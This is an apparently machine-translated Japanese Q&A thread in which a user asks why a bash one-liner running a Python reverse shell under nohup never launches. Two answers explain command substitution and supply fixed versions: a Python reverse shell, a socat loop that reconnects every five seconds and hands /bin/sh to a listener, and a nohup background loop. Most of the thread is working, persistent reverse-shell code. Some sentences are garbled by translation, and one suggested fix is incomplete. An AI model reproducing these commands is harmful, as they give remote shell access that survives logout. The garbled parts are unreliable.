リバースシェルバッシュの解析

リバースシェルバッシュの解析

小さなbashリバースシェルを作成しようとしていますが、残念ながら私の引数は正しく解析されません。特に、whileループが期待どおりに実行されている間、nohupコマンドは無視されます。なぜこれが起こるのですか?

nohup "$(while :; do python3 -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",4242));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'; sleep 5; done)" >/dev/null 2>&1 &

答え1

socatすべてを1行に入れないと、使いやすく読みやすいです。

nohup sh -c '
  while true; do
    socat tcp:localhost:4242 exec:/bin/sh,pty,stderr,setsid,ctty
    sleep 5
  done'

ランニング:

socat tcp-listen:4242,reuseaddr -,raw,echo=0

5秒以内に他の端末にシェルプロンプトが表示されます。

名前/パスは無限ループの出力ですが、whileループが返された後にのみコマンドを実行するように要求することはnohup "$(while...)"意味がありません。nohup

答え2

nohup走る結果実行コード$( … )

説明すると...

次の状況を考えてみましょう。

a=$(date)

このコマンドは* 1dateなどの出力を実行して生成します。テキストが行に挿入され、次のような結果が発生します。Thu, 25 Jan 2024 23:20:48

a='Thu, 25 Jan 2024 23:20:48'

次に割り当てを実行します。

今これを考慮してください:

a=$(echo hello; sleep 300; echo world)

内部でコマンドを実行すると$( … )結果が出ますが、hello {newline} world5分かかります。ミッションはまだ始まっていません。最後に、我々は次のような結果を得る。

a='hello
world'

そして割り当てを行うことができます。

それでは、これをあなたの状況に適用してみましょう。

nohup "$(while :; do python3 …; done)" >/dev/null 2>&1

まず、$( … )内部のコードを実行してみてください。残念ながら、それは決して終わりません。ここで終わったら結果その後、コードを実行するための情報がに渡されますnohup。ただし、終了しないためnohup実行されません。

この試み:

nohup sh -c "while :; do python3 'import…'; done" >/dev/null 2>&1 &

\"Pythonコードで使用される二重引用符は、シェル(sh)が開始に関連付けられないようにエスケープする必要があります"


1*実際にdate改行文字で終わる値を返します。ただし、シェルは補間時に末尾の改行が好きでsh削除されますbash。なぜならこれが(通常)予想されるからです。

関連情報